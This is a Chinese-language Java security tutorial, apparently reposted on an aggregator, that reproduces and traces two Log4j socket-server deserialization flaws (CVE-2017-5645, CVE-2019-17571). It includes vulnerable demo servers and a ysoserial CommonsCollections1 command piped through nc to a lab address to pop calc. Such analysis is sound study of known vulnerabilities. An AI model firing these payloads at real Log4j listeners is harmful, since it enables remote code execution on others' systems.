【java安全】Log4j反序列化漏洞

文章目录

    • 【java安全】Log4j反序列化漏洞
      • 关于Apache Log4j
      • 漏洞成因
      • CVE-2017-5645
        • 漏洞版本
        • 复现环境
        • 漏洞复现
        • 漏洞分析
      • CVE-2019-17571
        • 漏洞版本
        • 漏洞复现
        • 漏洞分析
      • 参考

【java安全】Log4j反序列化漏洞

关于Apache Log4j

Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。

就是用来打印日志的

漏洞成因

本文介绍的Log4j反序列化漏洞都是由于未对传入的需要发序列化的数据进行过滤,导致了恶意构造从而造成相关的反序列化漏洞

CVE-2017-5645

漏洞版本

Log4j 2.x <= 2.8.1

复现环境

  • jdk1.7
  • Log4j-api,Log4j-core 2.8.1
  • commons-collections 3.1

漏洞复现

pom.xml

<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.8.1</version>
</dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.8.1</version>
</dependency>
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

demo

public class Log4jDemo {public static void main(String[] args) {TcpSocketServer myServer = null;try {myServer = new TcpSocketServer(7777,new ObjectInputStreamLogEventBridge()); } catch (IOException e) {throw new RuntimeException(e);}myServer.run();}
}

我们运行一下这个类,它会监听本地的7777端口,然后我们需要将数据传递进去

image-20230818131417998

然后我们使用ysoserial生成一条cc链,nc传给它即可触发漏洞:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777

image-20230818131536057

漏洞分析

我们先来分析TcpSocketServer#main()方法,启动Log4j后,通过createSerializedSocketServer()创建了一个socketServer

image-20230818132119096

然后会调用startNewThread()方法,我们跟进:

public Thread startNewThread() {Thread thread = new Log4jThread(this);thread.start();return thread;}

会调用线程的start()方法,于是我们跟进TcpSocketServer#run()方法中,run()首先会判断socket是否关闭,然后调用this.serverSocket.accept()去接受数据,赋值给clientSocket变量,然后去调用SocketHandler的构造方法,返回一个handler

image-20230818132635924

我们跟进一下SocketHandler类:

public SocketHandler(Socket socket) throws IOException {this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());}

发现socket将接收到的数据转换成ObjectInputStream对象,赋值给:this.inputStream

(因为之前我们的代码中将logEventInput赋值为ObjectInputStreamLogEventBridge对象了):

image-20230818134713431

所以这个对象的wrapStream()函数会返回ObjectInputStream对象

public ObjectInputStream wrapStream(InputStream inputStream) throws IOException {return new ObjectInputStream(inputStream);}

当我们调用完SocketHandler()后,返回handler,接着调用handler.start()这样就会调用SocketHandler#run()方法:

image-20230818135047430

run方法中会将前面的产生的ObjectInputStream对象传递给this.logEventInput.logEvents()方法中,我们跟进:

image-20230818135221918

该方法会调用inputStream#readObject()方法进行反序列化,并且整个步骤没有任何过滤,因此当我们传入的数据为恶意的cc链就可以触发反序列化漏洞了

CVE-2019-17571

这个也是类似的

漏洞版本

Log4j 1.2.x <= 1.2.17

漏洞复现

pom.xml

<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId>   <!-- 注意这里使用的是log4j --><version>1.2.17</version>
</dependency>
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

src/main/resources/log4j.properties

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

Log4jDemo.java

public class Log4jDemo {public static void main(String[] args) {String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};SimpleSocketServer.main(arguments);}
}

还是和上面一样,执行,然后使用ysoserial:

java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
image-20230818140251546

漏洞分析

public class Log4jDemo {public static void main(String[] args) {String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};SimpleSocketServer.main(arguments);}
}

首先跟进SimpleSocketServer.main()方法:

image-20230818140701512

开启SocketServer服务器后,会设置监听端口,然后accept()将接受到的数据赋值给socket对象,接着调用SocketNode()socket给传进去

image-20230818140902294

这里和上面类似,也会将接受到的数据以ObjectInputStream对象返回给this.ois

在后面调用Thread#start()方法后会继续调用SocketNode#run()方法:

image-20230818141110840

这里同样没有经过任何过滤,就将数据进行反序列化触发漏洞

参考

https://www.anquanke.com/post/id/229489#h2-0

https://xz.aliyun.com/t/7010#toc-3

https://github.com/Maskhe/javasec/blob/master/4.log4j%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/43012.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端性能优化——包体积压缩插件,打包速度提升插件,提升浏览器响应的速率模式

前端代码优化 –其他的优化可以具体在网上搜索 压缩项目打包后的体积大小、提升打包速度&#xff0c;是前端性能优化中非常重要的环节&#xff0c;结合工作中的实践总结&#xff0c;梳理出一些 常规且有效 的性能优化建议 ue 项目可以通过添加–report命令&#xff1a; "…

innodb索引与算法

B树主键插入 B树在innodb的插入有三种模式page_last_insert, page_dirction, page_N_direction 而在bustub里面的B树就是page_N_direction,如果是自增主键的话&#xff0c;就是上面这样的插入法 FIC优化 (DDL) 选择性统计 覆盖索引 MMR ICP优化 自适应hash 全文索引 MySQL…

List和ObservableCollection和ListBinding在MVVM模式下的对比

List和ObservableCollection和ListBinding在MVVM模式下的对比 List 当对List进行增删操作后&#xff0c;并不会对View进行通知。 //Employee public class Employee : INotifyPropertyChanged {public event PropertyChangedEventHandler? PropertyChanged;public string N…

Vue-13.创建完整的Vue项目(vue+vue-cli+js)

前言 之前写了命令创建Vue项目&#xff0c;但是事实上我们可以直接用编译器直接创建项目&#xff0c;这里我使用webstorm&#xff08;因为我是前后端兼修的所以我习惯使用Idea家族的编译器&#xff09; 只写前端的推荐用VsCode前后端都写的推荐用webstorm 新建项目 项目初始…

vscode 安装勾选项解释

1、通过code 打开“操作添加到windows资源管理器文件上下文菜单 &#xff1a;把这个两个勾选上&#xff0c;可以对文件使用鼠标右键&#xff0c;选择VSCode 打开。 2、将code注册为受支持的文件类型的编辑器&#xff1a;不建议勾选&#xff0c;这样会默认使用VSCode打开支持的相…

《Linux从练气到飞升》No.15 Linux 环境变量

&#x1f57a;作者&#xff1a; 主页 我的专栏C语言从0到1探秘C数据结构从0到1探秘Linux菜鸟刷题集 &#x1f618;欢迎关注&#xff1a;&#x1f44d;点赞&#x1f64c;收藏✍️留言 &#x1f3c7;码字不易&#xff0c;你的&#x1f44d;点赞&#x1f64c;收藏❤️关注对我真的…

SASS 学习笔记 II

SASS 学习笔记 II 上篇笔记&#xff0c;SASS 学习笔记 中包含&#xff1a; 配置 变量 嵌套 这里加一个扩展&#xff0c;嵌套中有一个 & 的用法&#xff0c;使用 & 可以指代当前 block 中的 selector&#xff0c;后面可以追加其他的选择器。如当前的 scope 是 form&a…

GuLi商城-前端基础Vue-使用Vue脚手架进行模块化开发

自己亲自实践&#xff1a; mac安装webpack webpack 简介Webpack 是一个非常流行的前端构建工具&#xff0c;它可以将多个模块&#xff08;包括CSS、JavaScript、图片等&#xff09;打包成一个或多个静态资源文件&#xff08;bundle&#xff09;&#xff0c;以便用于部署到生产…

【Axure高保真原型】JS日期选择器筛选中继器表格

今天和大家分享JS日期选择器筛选中继器表格的原型模板&#xff0c;通过调用浏览器的日期选择器&#xff0c;所以可以获取真实的日历效果&#xff0c;具体包括哪一年二月份有29天&#xff0c;几号对应星期几&#xff0c;都是真实的&#xff0c;获取日期值后&#xff0c;通过交互…

接口测试,负载测试,并发测试,压力测试区别

接口测试 1.定义&#xff1a;接口测试是测试系统组件间接口的一种测试。接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。测试的重点是要检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相互逻辑依赖关系等。 2.目的&#xf…

什么是变量提升(hoisting)?它在JavaScript中是如何工作的?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 变量提升&#xff08;Hoisting&#xff09;⭐ 变量提升的示例&#xff1a;⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&…

C++11并发与多线程笔记(9) async、future、packaged_task、promise

C11并发与多线程笔记&#xff08;9&#xff09; async、future、packaged_task、promise 1、std::async、std::future创建后台任务并返回值2、std::packaged_task&#xff1a;打包任务&#xff0c;把任务包装起来3、std::promise3、小结 1、std::async、std::future创建后台任务…

哈工大开源“活字”对话大模型

一、介绍 大规模语言模型&#xff08;LLM&#xff09;在自然语言处理的通用领域已取得了令人瞩目的成功。对于广泛的应用场景&#xff0c;这种技术展示了强大的潜力&#xff0c;学术界和工业界的兴趣也持续升温。哈工大自然语言处理研究所30余位老师和学生参与开发了通用对话大…

re学习(35)攻防世界-no-strings-attached(动调)

参考文章&#xff1a;re学习笔记&#xff08;28&#xff09;攻防世界-re-no-strings-attached_Forgo7ten的博客-CSDN博客 攻防世界逆向入门题之no-strings-attached_攻防世界 no-strings-attached_沐一 林的博客-CSDN博客 本人题解&#xff1a; 扔入Exepeinfo中查壳和其他信息…

LVS-DR模型实例

一、LVS-DR集群介绍 LVS-DR&#xff08;Linux Virtual Server Director Server&#xff09;工作模式&#xff0c;是生产环境中最常用的一 种工作模式。 1、LVS-DR 工作原理 LVS-DR 模式&#xff0c;Director Server 作为群集的访问入口&#xff0c;不作为网关使用&#xff0…

python+django+mysql项目实践五(信息搜索)

python项目实践 环境说明: Pycharm 开发环境 Django 前端 MySQL 数据库 Navicat 数据库管理 信息搜素 输入内容进行搜索,内容有文本类和时间类 文本类需要模糊搜索,包含即检索 时间类需要选取时间范围内的内容 views 利用Q完成对指定内容的检索 检索后按检索内容更新…

HarmonyOS/OpenHarmony应用开发-ArkTS语言渲染控制ForEach循环渲染

ForEach基于数组类型数据执行循环渲染。说明&#xff0c;从API version 9开始&#xff0c;该接口支持在ArkTS卡片中使用。 一、接口描述 ForEach(arr: any[], itemGenerator: (item: any, index?: number) > void,keyGenerator?: (item: any, index?: number) > stri…

网络综合布线实训室建设方案

一、网络综合布线系统概述 网络综合布线系统是为了满足数据通信需求而设计和建立的一套基础设施。它提供了数据传输、信号传输和电力供应的基础结构&#xff0c;支持各种网络设备和终端设备之间的连接。 网络综合布线系统通常包括以下组成部分&#xff1a; 1&#xff09; 数据…

ZooKeeper集群服务器启动

在本文中&#xff0c;我们将对集群版ZooKeeper服务器的启动过程做详细讲解。集群和单机ZooKeeper服务器的启动过程在很多地方都是一致的&#xff0c;因此本节只会对有差异的地方展开进行讲解。下图所示是集群版ZooKeeper服务器的启动流程图。 预启动 预启动的步骤如下。 (1)统…

Python高光谱遥感数据处理与高光谱遥感机器学习方法教程

详情点击链接&#xff1a;Python高光谱遥感数据处理与高光谱遥感机器学习方法教程 第一&#xff1a;高光谱基础 一&#xff1a;高光谱遥感基本 01)高光谱遥感 02)光的波长 03)光谱分辨率 04)高光谱遥感的历史和发展 二&#xff1a;高光谱传感器与数据获取 01)高光谱遥感…